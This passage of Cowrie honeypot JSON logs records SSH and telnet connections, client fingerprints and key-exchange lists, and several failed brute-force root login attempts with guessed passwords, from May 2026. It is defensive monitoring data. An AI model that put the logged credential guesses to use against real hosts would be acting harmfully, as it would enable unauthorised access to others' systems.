sh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:42.492481Z","src_ip":"191.96.110.121","session":"90c42e11ee1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:42.899333Z","src_ip":"43.245.98.60","session":"79656bad8f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2de3565b75b","protocol":"telnet","message":"New connection: 152.42.224.71:55562 (10.17.0.5:23) [session: d2de3565b75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:46.375905Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:46.493473Z","src_ip":"191.96.110.121","session":"90c42e11ee1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:47.590338Z","src_ip":"191.96.110.121","session":"90c42e11ee1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00849533081055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:55.521068Z","src_ip":"152.42.224.71","session":"8870f9c07bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.94653582572937,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:56.402000Z","src_ip":"152.42.224.71","session":"1743200214aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54528,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d3ec5c1868","protocol":"telnet","message":"New connection: 152.42.224.71:54528 (10.17.0.5:23) [session: a7d3ec5c1868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:57.417897Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2d6989e320","protocol":"telnet","message":"New connection: 152.42.224.71:54544 (10.17.0.5:23) [session: eb2d6989e320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:57.821103Z"}
{"eventid":"cowrie.session.closed","duration":47.04664063453674,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:59.825609Z","src_ip":"152.42.224.71","session":"a42ed1cdaf99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbcb84b857b","protocol":"telnet","message":"New connection: 152.42.224.71:54548 (10.17.0.5:23) [session: 4bbcb84b857b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:59.873695Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":53680,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d078b6e0100","protocol":"ssh","message":"New connection: 124.109.2.211:53680 (10.17.0.5:22) [session: 8d078b6e0100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:02.482601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:02.488691Z","src_ip":"124.109.2.211","session":"8d078b6e0100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219655036926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:02.583070Z","src_ip":"152.42.224.71","session":"a7b1f1e5f354","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:02.744616Z","src_ip":"124.109.2.211","session":"8d078b6e0100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdaddy","message":"login attempt [root/bigdaddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:03.767977Z","src_ip":"124.109.2.211","session":"8d078b6e0100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9829a4e7b50","protocol":"telnet","message":"New connection: 152.42.224.71:54558 (10.17.0.5:23) [session: c9829a4e7b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:04.782550Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:05.035568Z","src_ip":"124.109.2.211","session":"8d078b6e0100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00190830230713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:05.171215Z","src_ip":"152.42.224.71","session":"4862543eebac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.85695695877075,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:06.975417Z","src_ip":"152.42.224.71","session":"7d5f338e5651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.77279019355774,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:07.641010Z","src_ip":"152.42.224.71","session":"2675a476eb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56579,"dst_ip":"159.203.135.109","dst_port":22,"session":"28879defd7c8","protocol":"ssh","message":"New connection: 152.42.212.128:56579 (159.203.135.109:22) [session: 28879defd7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:10.820596Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:10.828559Z","src_ip":"152.42.212.128","session":"28879defd7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:10.834000Z","src_ip":"152.42.212.128","session":"28879defd7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.499540567398071,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:11.320528Z","src_ip":"152.42.224.71","session":"eb2d6989e320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39810,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fec2cb993f","protocol":"ssh","message":"New connection: 103.77.242.62:39810 (10.17.0.5:22) [session: 27fec2cb993f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:12.170371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:12.175756Z","src_ip":"103.77.242.62","session":"27fec2cb993f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:12.417017Z","src_ip":"103.77.242.62","session":"27fec2cb993f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z12345","message":"login attempt [root/z12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:13.133917Z","src_ip":"103.77.242.62","session":"27fec2cb993f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00257205963135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:13.989081Z","src_ip":"152.42.224.71","session":"6cf57d125de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:14.372329Z","src_ip":"103.77.242.62","session":"27fec2cb993f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb127900fb8a","protocol":"telnet","message":"New connection: 152.42.224.71:35448 (10.17.0.5:23) [session: eb127900fb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:17.406646Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd109e767fa","protocol":"telnet","message":"New connection: 152.42.224.71:35456 (10.17.0.5:23) [session: bdd109e767fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:18.273031Z"}
{"eventid":"cowrie.session.closed","duration":39.755001068115234,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:20.725025Z","src_ip":"152.42.224.71","session":"4ef4210ba75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.983619213104248,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:23.256519Z","src_ip":"152.42.224.71","session":"bdd109e767fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35474,"dst_ip":"10.17.0.5","dst_port":23,"session":"81d4629b08d0","protocol":"telnet","message":"New connection: 152.42.224.71:35474 (10.17.0.5:23) [session: 81d4629b08d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:24.315750Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5227073c5d","protocol":"telnet","message":"New connection: 152.42.224.71:35470 (10.17.0.5:23) [session: 5a5227073c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:24.338999Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e3eb08f5aa","protocol":"telnet","message":"New connection: 152.42.224.71:52078 (10.17.0.5:23) [session: 78e3eb08f5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:27.391776Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52094,"dst_ip":"10.17.0.5","dst_port":23,"session":"7875063b6850","protocol":"telnet","message":"New connection: 152.42.224.71:52094 (10.17.0.5:23) [session: 7875063b6850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:31.556693Z"}
{"eventid":"cowrie.session.closed","duration":68.94868111610413,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:40.245209Z","src_ip":"152.42.224.71","session":"4072d7ba72d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.8980278968811,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:44.108003Z","src_ip":"152.42.224.71","session":"ebb56a58e28e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45550,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff23c96faf2d","protocol":"telnet","message":"New connection: 152.42.224.71:45550 (10.17.0.5:23) [session: ff23c96faf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:44.457465Z"}
{"eventid":"cowrie.session.closed","duration":66.95194172859192,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:46.153524Z","src_ip":"152.42.224.71","session":"c0df8d39aaf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.223536729812622,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:51.615201Z","src_ip":"152.42.224.71","session":"78e3eb08f5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.43119144439697,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:53.304792Z","src_ip":"152.42.224.71","session":"4bbcb84b857b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285789012908936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:54.624679Z","src_ip":"152.42.224.71","session":"5a5227073c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.93708896636963,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:57.493650Z","src_ip":"152.42.224.71","session":"7875063b6850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.51788520812988,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:00:59.935654Z","src_ip":"152.42.224.71","session":"a7d3ec5c1868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.58260631561279,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:13.989133Z","src_ip":"152.42.224.71","session":"eb127900fb8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":45284,"dst_ip":"10.17.0.5","dst_port":22,"session":"370ffa09f990","protocol":"ssh","message":"New connection: 37.233.85.71:45284 (10.17.0.5:22) [session: 370ffa09f990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:15.811253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:15.816437Z","src_ip":"37.233.85.71","session":"370ffa09f990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.513176679611206,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:15.828813Z","src_ip":"152.42.224.71","session":"81d4629b08d0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:15.916830Z","src_ip":"37.233.85.71","session":"370ffa09f990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faraon","message":"login attempt [root/faraon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:16.219010Z","src_ip":"37.233.85.71","session":"370ffa09f990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:17.322623Z","src_ip":"37.233.85.71","session":"370ffa09f990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f403374321c5","protocol":"ssh","message":"New connection: 103.27.238.114:53208 (10.17.0.5:22) [session: f403374321c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:19.220984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:19.225491Z","src_ip":"103.27.238.114","session":"f403374321c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47860,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05e29044c60","protocol":"telnet","message":"New connection: 152.42.224.71:47860 (10.17.0.5:23) [session: e05e29044c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:19.229583Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:19.497108Z","src_ip":"103.27.238.114","session":"f403374321c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789987","message":"login attempt [root/789987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:20.312526Z","src_ip":"103.27.238.114","session":"f403374321c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:21.587053Z","src_ip":"103.27.238.114","session":"f403374321c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.52601647377014,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:24.901750Z","src_ip":"152.42.224.71","session":"d2de3565b75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.11223816871643,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:01:29.569573Z","src_ip":"152.42.224.71","session":"ff23c96faf2d","protocol":"telnet"}
